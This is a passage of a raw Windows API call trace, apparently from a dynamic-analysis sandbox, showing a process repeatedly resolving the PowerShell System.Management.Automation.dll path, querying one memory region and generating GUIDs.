lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c050, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c050, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c050, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c050, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c050, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.928] VirtualQuery (in: lpAddress=0x22be90, lpBuffer=0x22cd50, dwLength=0x30 | out: lpBuffer=0x22cd50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.929] VirtualQuery (in: lpAddress=0x22be90, lpBuffer=0x22cd50, dwLength=0x30 | out: lpBuffer=0x22cd50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.929] VirtualQuery (in: lpAddress=0x22be90, lpBuffer=0x22cd50, dwLength=0x30 | out: lpBuffer=0x22cd50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.930] VirtualQuery (in: lpAddress=0x22b580, lpBuffer=0x22c440, dwLength=0x30 | out: lpBuffer=0x22c440*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.930] VirtualQuery (in: lpAddress=0x22b610, lpBuffer=0x22c4d0, dwLength=0x30 | out: lpBuffer=0x22c4d0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.930] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.930] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.931] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.931] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.931] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.931] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.931] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.932] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.932] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.932] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.932] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.932] VirtualQuery (in: lpAddress=0x22b9c0, lpBuffer=0x22c880, dwLength=0x30 | out: lpBuffer=0x22c880*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.933] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.933] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.933] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.933] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.934] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x51548aec, Data2=0xbdc8, Data3=0x498b, Data4=([0]=0x81, [1]=0x9b, [2]=0xf7, [3]=0x56, [4]=0x67, [5]=0x56, [6]=0xde, [7]=0x5f))) returned 0x0 [0054.935] VirtualQuery (in: lpAddress=0x22b580, lpBuffer=0x22c440, dwLength=0x30 | out: lpBuffer=0x22c440*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.935] VirtualQuery (in: lpAddress=0x22b610, lpBuffer=0x22c4d0, dwLength=0x30 | out: lpBuffer=0x22c4d0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.935] VirtualQuery (in: lpAddress=0x22b830, lpBuffer=0x22c6f0, dwLength=0x30 | out: lpBuffer=0x22c6f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.936] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xa4d8fb97, Data2=0x26d4, Data3=0x4b8e, Data4=([0]=0x8a, [1]=0xe8, [2]=0x6d, [3]=0x4a, [4]=0xec, [5]=0x6e, [6]=0x31, [7]=0x9))) returned 0x0 [0054.936] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xb5255bd0, Data2=0xab0b, Data3=0x466d, Data4=([0]=0x9a, [1]=0x5, [2]=0x9b, [3]=0x93, [4]=0x68, [5]=0xb9, [6]=0x26, [7]=0x83))) returned 0x0 [0054.937] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x13f3f612, Data2=0x6ea3, Data3=0x428a, Data4=([0]=0xbb, [1]=0xe6, [2]=0xac, [3]=0x4a, [4]=0xfb, [5]=0xeb, [6]=0x2f, [7]=0x4))) returned 0x0 [0054.938] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x7f7addce, Data2=0x8229, Data3=0x43b7, Data4=([0]=0x9c, [1]=0x2, [2]=0x10, [3]=0x50, [4]=0xb8, [5]=0x27, [6]=0x13, [7]=0x68))) returned 0x0 [0054.938] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x4d520191, Data2=0x9124, Data3=0x4cbb, Data4=([0]=0xbb, [1]=0xe8, [2]=0x11, [3]=0x46, [4]=0x2a, [5]=0x33, [6]=0x1b, [7]=0x24))) returned 0x0 [0054.938] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xeea2e27d, Data2=0xb468, Data3=0x407c, Data4=([0]=0xb2, [1]=0x1c, [2]=0xe6, [3]=0x5a, [4]=0x7a, [5]=0x80, [6]=0xa4, [7]=0xe3))) returned 0x0 [0054.938] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x8557cc04, Data2=0x1516, Data3=0x449e, Data4=([0]=0xbd, [1]=0x4c, [2]=0xa6, [3]=0x74, [4]=0x98, [5]=0x1c, [6]=0x33, [7]=0xf1))) returned 0x0 [0054.939] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xcabd0730, Data2=0x32de, Data3=0x4130, Data4=([0]=0xad, [1]=0xec, [2]=0xab, [3]=0x25, [4]=0xd2, [5]=0x49, [6]=0x7b, [7]=0xf8))) returned 0x0 [0054.939] VirtualQuery (in: lpAddress=0x22b3f0, lpBuffer=0x22c2b0, dwLength=0x30 | out: lpBuffer=0x22c2b0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.939] VirtualQuery (in: lpAddress=0x22b3f0, lpBuffer=0x22c2b0, dwLength=0x30 | out: lpBuffer=0x22c2b0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.940] VirtualQuery (in: lpAddress=0x22b480, lpBuffer=0x22c340, dwLength=0x30 | out: lpBuffer=0x22c340*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.940] VirtualQuery (in: lpAddress=0x22b3f0, lpBuffer=0x22c2b0, dwLength=0x30 | out: lpBuffer=0x22c2b0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.940] VirtualQuery (in: lpAddress=0x22b480, lpBuffer=0x22c340, dwLength=0x30 | out: lpBuffer=0x22c340*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.940] VirtualQuery (in: lpAddress=0x22b3f0, lpBuffer=0x22c2b0, dwLength=0x30 | out: lpBuffer=0x22c2b0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.941] VirtualQuery (in: lpAddress=0x22b480, lpBuffer=0x22c340, dwLength=0x30 | out: lpBuffer=0x22c340*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.941] VirtualQuery (in: lpAddress=0x22b3f0, lpBuffer=0x22c2b0, dwLength=0x30 | out: lpBuffer=0x22c2b0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.941] VirtualQuery (in: lpAddress=0x22b480, lpBuffer=0x22c340, dwLength=0x30 | out: lpBuffer=0x22c340*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.942] VirtualQuery (in: lpAddress=0x22b3f0, lpBuffer=0x22c2b0, dwLength=0x30 | out: lpBuffer=0x22c2b0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.942] VirtualQuery (in: lpAddress=0x22b480, lpBuffer=0x22c340, dwLength=0x30 | out: lpBuffer=0x22c340*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.942] VirtualQuery (in: lpAddress=0x22b3f0, lpBuffer=0x22c2b0, dwLength=0x30 | out: lpBuffer=0x22c2b0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.942] VirtualQuery (in: lpAddress=0x22b480, lpBuffer=0x22c340, dwLength=0x30 | out: lpBuffer=0x22c340*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.943] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.943] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.943] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.943] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.944] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.944] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.944] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.944] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xbd90940e, Data2=0xc926, Data3=0x4164, Data4=([0]=0x87, [1]=0x7d, [2]=0x70, [3]=0xa0, [4]=0x49, [5]=0x9a, [6]=0x84, [7]=0x41))) returned 0x0 [0054.944] VirtualQuery (in: lpAddress=0x22bd00, lpBuffer=0x22cbc0, dwLength=0x30 | out: lpBuffer=0x22cbc0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.945] VirtualQuery (in: lpAddress=0x22bd00, lpBuffer=0x22cbc0, dwLength=0x30 | out: lpBuffer=0x22cbc0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.945] VirtualQuery (in: lpAddress=0x22bd90, lpBuffer=0x22cc50, dwLength=0x30 | out: lpBuffer=0x22cc50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.945] VirtualQuery (in: lpAddress=0x22bd00, lpBuffer=0x22cbc0, dwLength=0x30 | out: lpBuffer=0x22cbc0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.945] VirtualQuery (in: lpAddress=0x22bd90, lpBuffer=0x22cc50, dwLength=0x30 | out: lpBuffer=0x22cc50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.946] VirtualQuery (in: lpAddress=0x22bd00, lpBuffer=0x22cbc0, dwLength=0x30 | out: lpBuffer=0x22cbc0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.946] VirtualQuery (in: lpAddress=0x22bd90, lpBuffer=0x22cc50, dwLength=0x30 | out: lpBuffer=0x22cc50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.946] VirtualQuery (in: lpAddress=0x22bd00, lpBuffer=0x22cbc0, dwLength=0x30 | out: lpBuffer=0x22cbc0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.947] VirtualQuery (in: lpAddress=0x22bd90, lpBuffer=0x22cc50, dwLength=0x30 | out: lpBuffer=0x22cc50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.947] VirtualQuery (in: lpAddress=0x22bd00, lpBuffer=0x22cbc0, dwLength=0x30 | out: lpBuffer=0x22cbc0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.947] VirtualQuery (in: lpAddress=0x22bd90, lpBuffer=0x22cc50, dwLength=0x30 | out: lpBuffer=0x22cc50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.947] VirtualQuery (in: lpAddress=0x22bd00, lpBuffer=0x22cbc0, dwLength=0x30 | out: lpBuffer=0x22cbc0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.948] VirtualQuery (in: lpAddress=0x22bd90, lpBuffer=0x22cc50, dwLength=0x30 | out: lpBuffer=0x22cc50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.948] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.948] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.949] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.949] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.949] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.949] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.949] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.949] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x7aaae81d, Data2=0xf88d, Data3=0x4b13, Data4=([0]=0x8c, [1]=0x95, [2]=0x8b, [3]=0xcc, [4]=0xec, [5]=0xdd, [6]=0x57, [7]=0xec))) returned 0x0 [0054.950] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, 